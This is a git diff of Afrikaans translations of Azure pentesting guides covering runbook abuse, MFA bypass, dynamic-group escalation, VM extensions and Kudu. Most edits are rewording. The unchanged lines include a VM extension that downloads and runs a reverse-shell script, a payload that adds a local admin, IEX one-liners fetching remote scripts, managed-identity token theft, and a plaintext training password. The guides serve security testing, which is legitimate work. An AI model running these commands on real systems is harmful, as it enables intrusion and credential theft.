-As opsomming laat hierdie toestemmings toe om **Runbooks te skep, te wysig en uit te voer** in die Outomatiseringsrekening wat jy kan gebruik om **kode** in die konteks van die Outomatiseringsrekening uit te voer en voorregte te eskaleer na die toegewyde **Gemanage Identiteite** en **akkrediteer** en **versleutelde veranderlikes** wat in die Outomatiseringsrekening gestoor is, te lek.
+As 'n opsomming laat hierdie toestemmings toe om **runbooks te skep, te wysig en uit te voer** in die Outomatiseringsrekening wat jy kan gebruik om **kode uit te voer** in die konteks van die Outomatiseringsrekening en voorregte te eskaleer na die toegewyde **Gemanagte Identiteite** en **akkrediteer** en **versleutelde veranderlikes** wat in die Outomatiseringsrekening gestoor is.
Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat toe om die kode van 'n Runbook in die Outomatiseringsrekening te wysig met:
```bash
@@ -104,7 +104,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
-Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Skeduleerder aan 'n runbook toe te ken met:
+Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Scheduler aan 'n runbook toe te ken met:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -123,11 +123,11 @@ az rest --method PUT \
}'
```
> [!TIP]
-> In die vorige voorbeeld was die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as voorbeeld** maar jy sal 'n arbitrêre waarde moet gebruik om hierdie toewysing te skep.
+> In die vorige voorbeeld is die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as voorbeeld** maar jy sal 'n arbitrêre waarde moet gebruik om hierdie toewysing te skep.
### `Microsoft.Automation/automationAccounts/webhooks/write`
-Met die toestemming **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automation Account te skep met die volgende opdrag.
+Met die toestemming **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automatiseringsrekening te skep met die volgende opdrag.
Let daarop dat jy moet **webhook URI** met die token aan dui wat gebruik moet word.
```bash
@@ -153,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
-Net met die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook** op te dateer sonder om dit te publiseer en dit te loop met die volgende opdragte.
+Net met die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook** op te dateer sonder om dit te publiseer en dit te loop met behulp van die volgende opdragte.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -194,7 +194,7 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ
```
-Dit sal outomaties die runbooks van die Github-repo na die Automation Account invoer en met 'n paar ander toestemmings om dit te begin uitvoer, sal dit **moontlik wees om voorregte te verhoog**.
+Dit sal outomaties die runbooks van die Github-repositori na die Automation Account invoer en met 'n paar ander toestemmings om dit te begin uitvoer, sal dit **moontlik wees om voorregte te verhoog**.
Boonop, onthou dat vir bronbeheer om in Automation Accounts te werk, dit 'n bestuurde identiteit met die rol **`Contributor`** moet hê en as dit 'n gebruiker bestuurde identiteit is, moet die kliënt-id van die MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** gespesifiseer word.
@@ -228,21 +228,21 @@ As 'n outomatiseringsrekening 'n pasgemaakte runtime-omgewing gebruik, kan dit m
- Stap 1 — Skep Lêers
**Benodigde Lêers:** Twee PowerShell-skripte is nodig:
-1. `reverse_shell_config.ps1`: 'n Gewenste Toestand Konfigurasie (DSC) lêer wat die payload haal en uitvoer. Dit is verkrygbaar van [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
+1. `reverse_shell_config.ps1`: 'n Gewenste Toestand Konfigurasie (DSC) lêer wat die payload aflaai en uitvoer. Dit is beskikbaar op [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: 'n Skrip om die konfigurasie na die VM te publiseer, beskikbaar op [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
-**Pasmaak:** Veranderlikes en parameters in hierdie lêers moet aangepas word vir die gebruiker se spesifieke omgewing, insluitend hulpbronname, lêerpaaie, en bediener/payload identifiseerders.
+**Aanpassing:** Veranderlikes en parameters in hierdie lêers moet aangepas word vir die gebruiker se spesifieke omgewing, insluitend hulpbronname, lêerpaaie, en bediener/payload identifiseerders.
- Stap 2 — Zip Konfigurasie Lêer
Die `reverse_shell_config.ps1` word saamgepers in 'n `.zip` lêer, wat dit gereed maak vir oordrag na die Azure Storage Account.
-```powershell
+```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Stap 3 — Stel Stoor Konteks in & Laai op
-Die gecomprimeerde konfigurasie-lêer word na 'n voorafbepaalde Azure Stoor houer, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet.
-```powershell
+Die gecomprimeerde konfigurasie-lêer word na 'n vooraf gedefinieerde Azure Stoor houer, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet.
+```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Stap 4 — Berei Kali Box voor
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
index 6c8475787..273a86d4d 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -48,7 +48,7 @@ Of gebruik 'n [blaaier uitbreiding soos hierdie een](https://chromewebstore.goog
### Ligging: Lande, IP-reekse - Toestel Voorwaarde
-As dit in die voorwaardelike beleid ingestel is, kan 'n aanvaller net 'n **VPN** in die **toegelate land** gebruik of probeer om 'n manier te vind om toegang te verkry vanaf 'n **toegelate IP-adres** om hierdie voorwaardes te omseil.
+As dit in die voorwaardelike beleid ingestel is, kan 'n aanvaller net 'n **VPN** in die **toegelate land** gebruik of probeer om 'n manier te vind om vanaf 'n **toegelate IP-adres** toegang te verkry om hierdie voorwaardes te omseil.
### Wolk Toepassings
@@ -75,17 +75,17 @@ Die hulpmiddel [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kan ook gebru
### Ringtone
-Een Azure MFA opsie is om **'n oproep in die geconfigureerde telefoonnommer te ontvang** waar die gebruiker gevra sal word om die karakter `#` te **stuur**.
+Een Azure MFA opsie is om **'n oproep in die geconfigureerde telefoonnommer te ontvang** waar die gebruiker gevra sal word om die karakter `#` **te stuur**.
> [!CAUTION]
> Aangesien karakters net **tones** is, kan 'n aanvaller die **voicemail** boodskap van die telefoonnommer **kompromitteer**, die boodskap as die **toon van `#`** konfigureer en dan, wanneer die MFA aangevra word, seker maak dat die **slagoffer se telefoon besig is** (dit bel) sodat die Azure oproep na die voicemail omgelei word.
### Nakomingstoestelle
-Beleide vra dikwels vir 'n nakomingstoestel of MFA, so 'n **aanvaller kan 'n nakomingstoestel registreer**, 'n **PRT** token kry en **op hierdie manier die MFA omseil**.
+Beleide vra dikwels vir 'n nakomingstoestel of MFA, so 'n **aanvaller kan 'n nakomingstoestel registreer**, 'n **PRT** token verkry en **op hierdie manier die MFA omseil**.
Begin deur 'n **nakomingstoestel in Intune te registreer**, dan **kry die PRT** met:
-```powershell
+```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
@@ -104,9 +104,9 @@ Vind meer inligting oor hierdie tipe aanval op die volgende bladsy:
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
-Hierdie skrip verkry 'n paar gebruikersakkrediteer en kyk of dit kan aanmeld in sommige toepassings.
+Hierdie skrip verkry 'n paar gebruikersakkrediteer en kyk of dit kan aanmeld in 'n paar toepassings.
-Dit is nuttig om te sien of jy **nie MFA benodig om aan te meld in sommige toepassings nie** wat jy later mag misbruik om **privilegies te verhoog**.
+Dit is nuttig om te sien of jy **nie MFA benodig om aan te meld in 'n paar toepassings nie** wat jy later mag misbruik om **privileges te verhoog**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -116,14 +116,14 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
-MFASweep is 'n PowerShell-skrip wat probeer om **in te log op verskeie Microsoft-dienste met 'n verskafde stel geloofsbriewe en sal probeer om te identifiseer of MFA geaktiveer is**. Afhangende van hoe voorwaardelike toegangbeleide en ander multi-faktor verifikasie-instellings geconfigureer is, kan sommige protokolle eindig as enkel-faktor. Dit het ook 'n addisionele kontrole vir ADFS-konfigurasies en kan probeer om in te log op die on-prem ADFS-bediener indien opgespoor.
+MFASweep is 'n PowerShell-skrip wat probeer om **in te log op verskeie Microsoft-dienste met 'n verskafde stel geloofsbriewe en sal probeer om te identifiseer of MFA geaktiveer is**. Afhangende van hoe voorwaardelike toegangbeleide en ander multi-faktor verifikasie-instellings geconfigureer is, kan sommige protokolle eindig as 'n enkele faktor. Dit het ook 'n addisionele kontrole vir ADFS-konfigurasies en kan probeer om in te log op die on-prem ADFS-bediener indien opgespoor.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username -Password
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
-Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en dan API's in verskeie produksie AAD-huurders te misbruik, waar AAD-klante geglo het dat hulle MFA afgedwing het, maar ROPC-gebaseerde outentisering suksesvol was.
+Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en dan API's in verskeie produksie AAD-huurders te misbruik, waar AAD-klante geglo het dat hulle MFA afgedwing het, maar ROPC-gebaseerde verifikasie suksesvol was.
> [!TIP]
> Jy moet toestemming hê om al die toepassings te lys om die lys van die toepassings te genereer om te brute-force.
@@ -135,26 +135,26 @@ Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en dan API's in
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
-Donkey token is 'n stel funksies wat daarop gemik is om sekuriteitskonsultante te help wat Conditional Access Policies moet valideer, toetse vir 2FA-geaktiveerde Microsoft-portale, ens.
+Donkey token is 'n stel funksies wat daarop gemik is om sekuriteitskonsultante te help wat nodig het om Voorwaardelike Toegang Beleide te valideer, toetse vir 2FA-geaktiveerde Microsoft-portale, ens.
-**Toets elke portaal** of dit moontlik is om te **log in sonder MFA**:
-```powershell
+**Toets elke portaal** of dit moontlik is om **in te log sonder MFA**:
+```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Omdat die **Azure** **portaal** **nie beperk nie**, is dit moontlik om 'n **token van die portaal-eindpunt te versamel om toegang te verkry tot enige diens wat deur die vorige uitvoering opgespoor is**. In hierdie geval is Sharepoint geïdentifiseer, en 'n token om toegang daartoe te verkry, word aangevra:
-```powershell
+```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
As jy aanvaar dat die token die toestemming Sites.Read.All (van Sharepoint) het, selfs al kan jy nie Sharepoint vanaf die web toegang nie weens MFA, is dit moontlik om die token te gebruik om toegang tot die lêers te verkry met die gegenereerde token:
-```powershell
+```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## Verwysings
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
index bb04454d1..95bb3a1a4 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -4,7 +4,7 @@
## Basiese Inligting
-**Dinamiese groepe** is groepe wat 'n stel **reëls** geconfigureer het en alle **gebruikers of toestelle** wat aan die reëls voldoen, word aan die groep toegevoegd. Elke keer as 'n gebruiker of toestel se **attribuut** **gewysig** word, word dinamiese reëls **herkontroleer**. En wanneer 'n **nuwe reël** **gecreëer** word, word alle toestelle en gebruikers **gekontroleer**.
+**Dinamiese groepe** is groepe wat 'n stel **reëls** geconfigureer het en alle **gebruikers of toestelle** wat aan die reëls voldoen, word aan die groep toegevoegd. Elke keer as 'n gebruiker of toestel **attribuut** **gewysig** word, word dinamiese reëls **herkontroleer**. En wanneer 'n **nuwe reël** **gecreëer** word, word alle toestelle en gebruikers **gekontroleer**.
Dinamiese groepe kan **Azure RBAC rolle** aan hulle toegeken hê, maar dit is **nie moontlik** om **AzureAD rolle** aan dinamiese groepe toe te voeg nie.
@@ -12,7 +12,7 @@ Hierdie funksie vereis 'n Azure AD premium P1 lisensie.
## Privesc
-Let daarop dat enige gebruiker standaard gaste in Azure AD kan uitnooi, so, as 'n dinamiese groep **reël** **toestemmings** aan gebruikers gee gebaseer op **attribuut** wat in 'n nuwe **gast** **gestel** kan word, is dit moontlik om 'n gast met hierdie attribuut te **skep** en **privileges te verhoog**. Dit is ook moontlik vir 'n gast om sy eie profiel te bestuur en hierdie attribuut te verander.
+Let daarop dat enige gebruiker standaard gaste in Azure AD kan uitnooi, so, as 'n dinamiese groep **reël** **toestemmings** aan gebruikers gee op grond van **attribuut** wat in 'n nuwe **gast** **gestel** kan word, is dit moontlik om 'n gast met hierdie attribuut te **skep** en **privileges te eskaleer**. Dit is ook moontlik vir 'n gast om sy eie profiel te bestuur en hierdie attribuut te verander.
Kry groepe wat dinamiese lidmaatskap toelaat: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
@@ -23,7 +23,7 @@ Kry groepe wat dinamiese lidmaatskap toelaat: **`az ad group list --query "[?con
Vir die Gaste gebruiker se e-pos, aanvaar die uitnodiging en kontroleer die huidige instellings van **daardie gebruiker** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Ongelukkig laat die bladsy nie toe om die attribuutwaardes te wysig nie, so ons moet die API gebruik:
-```powershell
+```bash
# Login with the gust user
az login --allow-no-subscriptions
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
index 82b7ba384..af59d3382 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
@@ -76,10 +76,10 @@ az vm extension set \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
-Jy kan ook ander payloads uitvoer soos: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
+U kan ook ander payloads uitvoer soos: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
-- Stel wagwoord terug met behulp van die VMAccess uitbreiding
-```powershell
+- Stel wagwoord weer in met die VMAccess uitbreiding
+```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred
@@ -94,7 +94,7 @@ Dit is ook moontlik om bekende uitbreidings te misbruik om kode uit te voer of b
VMAccess uitbreiding
Hierdie uitbreiding maak dit moontlik om die wagwoord te wysig (of te skep as dit nie bestaan nie) van gebruikers binne Windows VM's.
-```powershell
+```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred
@@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
DesiredConfigurationState (DSC)
Dit is 'n **VM-uitbreiding** wat aan Microsoft behoort en PowerShell DSC gebruik om die konfigurasie van Azure Windows VM's te bestuur. Daarom kan dit gebruik word om **arbitraire opdragte** in Windows VM's deur hierdie uitbreiding uit te voer:
-```powershell
+```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -155,7 +155,7 @@ Set-AzVMDscExtension `
-Hibrid Runbook Werker
+Hibriede Runbook Werker
Dit is 'n VM-uitbreiding wat sal toelaat om runbooks in VM's vanaf 'n outomatiseringsrekening uit te voer. Vir meer inligting, kyk na die [Outomatiseringsrekeninge diens](../az-services/az-automation-account/index.html).
@@ -251,7 +251,7 @@ az vm application set \
### `Microsoft.Compute/virtualMachines/runCommand/action`
-Dit is die mees basiese meganisme wat Azure bied om **arbitraire opdragte in VM's uit te voer:**
+Dit is die mees basiese meganisme wat Azure bied om **arbitraire opdragte in VM's uit te voer:**
{{#tabs }}
{{#tab name="Linux" }}
@@ -298,15 +298,15 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
### `Microsoft.Compute/virtualMachines/login/action`
-Hierdie toestemming laat 'n gebruiker toe om **as gebruiker in 'n VM in te log via SSH of RDP** (solank Entra ID-outeentifikasie in die VM geaktiveer is).
+Hierdie toestemming laat 'n gebruiker toe om **as gebruiker in 'n VM in te log via SSH of RDP** (solank Entra ID-outeentiging in die VM geaktiveer is).
-Teken in via **SSH** met **`az ssh vm --name --resource-group `** en via **RDP** met jou **gewone Azure-akkrediteerings**.
+Teken in via **SSH** met **`az ssh vm --name --resource-group `** en via **RDP** met jou **gereelde Azure-akkrediteerings**.
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
-Hierdie toestemming laat 'n gebruiker toe om **as gebruiker in 'n VM in te log via SSH of RDP** (solank Entra ID-outeentifikasie in die VM geaktiveer is).
+Hierdie toestemming laat 'n gebruiker toe om **as gebruiker in 'n VM in te log via SSH of RDP** (solank Entra ID-outeentiging in die VM geaktiveer is).
-Teken in via **SSH** met **`az ssh vm --name --resource-group `** en via **RDP** met jou **gewone Azure-akkrediteerings**.
+Teken in via **SSH** met **`az ssh vm --name --resource-group `** en via **RDP** met jou **gereelde Azure-akkrediteerings**.
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
@@ -327,8 +327,8 @@ az vm create \
```
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
-Daardie toestemmings is genoeg om **nuwe bestuurde identiteite aan 'n VM toe te ken**. Let daarop dat 'n VM verskeie bestuurde identiteite kan hê. Dit kan die **stelselt toegekende een** hê, en **baie gebruikers bestuurde identiteite**.\
-Dan, vanaf die metadata-diens is dit moontlik om tokens vir elkeen te genereer.
+Daardie toestemmings is genoeg om **nuwe bestuurde identiteite aan 'n VM toe te ken**. Let daarop dat 'n VM verskeie bestuurde identiteite kan hê. Dit kan die **stelselt toegekende een** hê, en **baie gebruikersbestuurde identiteite**.\
+Dan is dit moontlik om tokens vir elkeen te genereer vanaf die metadata-diens.
```bash
# Get currently assigned managed identities to the VM
az vm identity show \
diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md
index 4954f13be..385b71df0 100644
--- a/src/pentesting-cloud/azure-security/az-services/README.md
+++ b/src/pentesting-cloud/azure-security/az-services/README.md
@@ -13,7 +13,7 @@ Jy kan die lys van **Microsoft portale in** [**https://msportals.io/**](https://
Kry **access_token** van **IDENTITY_HEADER** en **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
Vra dan die Azure REST API om die **subskripsie ID** en meer te kry.
-```powershell
+```bash
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'
diff --git a/src/pentesting-cloud/azure-security/az-services/az-acr.md b/src/pentesting-cloud/azure-security/az-services/az-acr.md
index 58166f7dd..5b95d9a80 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-acr.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-acr.md
@@ -4,11 +4,11 @@
## Basiese Inligting
-Azure Container Registry (ACR) is 'n bestuurde diens wat deur Microsoft Azure verskaf word vir **die stoor en bestuur van Docker houerbeelde en ander artefakte**. Dit bied funksies soos geïntegreerde ontwikkelaarstoestelle, geo-replikaasie, sekuriteitsmaatreëls soos rolgebaseerde toegangbeheer en beeldskandering, outomatiese boue, webhooks en triggers, en netwerkisolasie. Dit werk saam met gewilde gereedskap soos Docker CLI en Kubernetes, en integreer goed met ander Azure-dienste.
+Azure Container Registry (ACR) is 'n bestuurde diens wat deur Microsoft Azure verskaf word vir **die stoor en bestuur van Docker-containerbeelde en ander artefakte**. Dit bied funksies soos geïntegreerde ontwikkelaarstoestelle, geo-replika, sekuriteitsmaatreëls soos rolgebaseerde toegangbeheer en beeldskandering, outomatiese boue, webhooks en triggers, en netwerkisolasie. Dit werk saam met gewilde gereedskap soos Docker CLI en Kubernetes, en integreer goed met ander Azure-dienste.
### Enumereer
-Om die diens te enumereer kan jy die skrif [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1) gebruik:
+Om die diens te enumereer, kan jy die skrif [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1) gebruik:
```bash
# List Docker images inside the registry
IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")
@@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
{{#endtab }}
{{#tab name="Az Powershell" }}
-```powershell
+```bash
# List all ACRs in your subscription
Get-AzContainerRegistry
diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-services.md
index 181df9f30..a994decf4 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-app-services.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-app-services.md
@@ -20,37 +20,37 @@ Toepassings het 'n paar interessante konfigurasies:
- **Always On**: Verseker dat die toepassing altyd loop. As dit nie geaktiveer is nie, sal die toepassing stop loop na 20 minute van inaktiwiteit en sal dit weer begin wanneer 'n versoek ontvang word.
- Dit is noodsaaklik as jy 'n webjob het wat deurlopend moet loop, aangesien die webjob sal stop as die toepassing stop.
- **SSH**: As geaktiveer, kan 'n gebruiker met genoeg toestemming aan die toepassing koppel met SSH.
-- **Debugging**: As geaktiveer, kan 'n gebruiker met genoeg toestemming die toepassing debugeer. Dit word egter outomaties elke 48 uur gedeaktiveer.
+- **Debugging**: As geaktiveer, kan 'n gebruiker met genoeg toestemming die toepassing debugeer. Dit is egter elke 48 uur outomaties gedeaktiveer.
- **Web App + Databasis**: Die webkonsol laat jou toe om 'n Toepassing met 'n databasis te skep. In hierdie geval is dit moontlik om die databasis te kies (SQLAzure, PostgreSQL, MySQL, MongoDB) en dit laat jou ook toe om 'n Azure Cache vir Redis te skep.
- Die URL wat die geloofsbriewe vir die databasis en Redis bevat, sal in die **appsettings** gestoor word.
- **Container**: Dit is moontlik om 'n houer na die App Service te ontplooi deur die URL van die houer en die geloofsbriewe om toegang te verkry aan te dui.
-- **Mounts**: Dit is moontlik om 5 mounts van Stoor rekeninge te skep, wat Azure Blob (Lees-Alleen) of Azure Files is. Die konfigurasie sal die toegangsleutel oor die Stoor Rekening stoor.
+- **Mounts**: Dit is moontlik om 5 mounts van Stoor rekeninge te skep, wat Azure Blob (Slegs Lees) of Azure Files is. Die konfigurasie sal die toegangsleutel oor die Stoor Rekening stoor.
## Basiese Verifikasie
-Wanneer 'n webtoepassing (en 'n Azure funksie gewoonlik) geskep word, is dit moontlik om aan te dui of jy wil hê **Basiese Verifikasie moet geaktiveer word** (standaard gedeaktiveer). Dit **aktiveer SCM (Source Control Manager) en FTP (File Transfer Protocol)** vir die toepassing sodat dit moontlik sal wees om die toepassing met hierdie tegnologieë te ontplooi.
+Wanneer 'n webtoepassing (en 'n Azure funksie gewoonlik) geskep word, is dit moontlik om aan te dui of jy wil hê **Basiese Verifikasie moet geaktiveer word** (standaard gedeaktiveer). Dit stel basies **SCM (Source Control Manager) en FTP (File Transfer Protocol)** vir die toepassing in staat, sodat dit moontlik sal wees om die toepassing met behulp van daardie tegnologieë te ontplooi.
Om toegang tot die SCM en die FTP bedieners te verkry, is 'n **gebruikersnaam en wagwoord** nodig. Daarom bied Azure 'n paar **API's om die URL's** na hierdie platforms en die geloofsbriewe te verkry.
-Die **FTP bediener het geen spesiale magie nie**, net met die geldige URL, gebruikersnaam en wagwoord is dit moontlik om te koppel en lees- en skrywe toestemming oor die App omgewing te verkry.
+Die **FTP bediener het geen spesiale magie nie**, net met die geldige URL, gebruikersnaam en wagwoord is dit moontlik om te koppel en lees- en skryfrechten oor die App omgewing te verkry.
Die SCM
Dit is moontlik om aan die SCM te koppel met 'n webblaaier in `https:///BasicAuth` en al die lêers en ontplooiings daar te kontroleer.
### Kudu
-Kudu is die platform wat **both die SCM en 'n web- en API-koppelvlak bestuur** om 'n App Service te bestuur, en bied Git-gebaseerde ontplooiings, afstandsdebuginstrumente, en lêerbestuursvermoëns. Dit is toeganklik deur die SCM URL wat in die webtoepassing gedefinieer is.
+Kudu is die platform wat **both die SCM en 'n web- en API-koppelvlak bestuur** om 'n App Service te bestuur, en bied Git-gebaseerde ontplooiings, afstandsdebuginstrumente, en lêerbestuur vermoëns. Dit is toeganklik deur die SCM URL wat in die webtoepassing gedefinieer is.
Let daarop dat die Kudu weergawes wat deur App Services en deur Funksie Apps gebruik word, verskillend is, met die weergawe van die Funksie apps baie meer beperk.
Sommige interessante eindpunte wat jy in Kudu kan vind, is:
-- `/BasicAuth`: Jy moet toegang tot hierdie pad hê om **binne Kudu aan te meld**.
+- `/BasicAuth`: Jy moet hierdie pad toegang om **binne Kudu aan te meld**.
- `/DebugConsole`: 'n Konsol wat jou toelaat om opdragte in die omgewing waar Kudu loop, uit te voer.
- Let daarop dat hierdie omgewing **nie toegang het** tot die metadata diens om tokens te verkry nie.
- `/webssh/host`: 'n Web-gebaseerde SSH-kliënt wat jou toelaat om binne die houer waar die toepassing loop, te koppel.
- Hierdie omgewing **het toegang tot die metadata diens** om tokens van die toegewyde bestuurde identiteite te verkry.
- `/Env`: Kry inligting oor die stelsel, app instellings, omgewing veranderlikes, verbinding stringe en HTTP koppe.
-- `/wwwroot/`: Die wortelgids van die webtoepassing. Jy kan al die lêers van hier aflaai.
+- `/wwwroot/`: Die wortelgids van die webtoepassing. Jy kan al die lêers hier aflaai.
Boonop was Kudu eens opensource in [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu) maar die projek is gedeaktiveer en deur die gedrag van die huidige Kudu in Azure met die ou een te vergelyk, is dit moontlik om te sien dat **verskeie dinge reeds verander het**.
@@ -70,24 +70,24 @@ App Services laat toe om die kode as 'n zip-lêer op te laai, maar dit laat ook
## Webjobs
-Azure WebJobs is **agtergrondtake wat in die Azure App Service omgewing loop**. Hulle stel ontwikkelaars in staat om skripte of programme saam met hul webtoepassings uit te voer, wat dit makliker maak om asynchrone of tydsintensiewe operasies soos lêerverwerking, datahantering, of geskeduleerde take te hanteer.
+Azure WebJobs is **agtergrondtake wat in die Azure App Service omgewing loop**. Dit stel ontwikkelaars in staat om skripte of programme saam met hul webtoepassings uit te voer, wat dit makliker maak om asynchrone of tydsintensiewe operasies soos lêerverwerking, datahantering, of geskeduleerde take te hanteer.
Daar is 2 tipes web jobs:
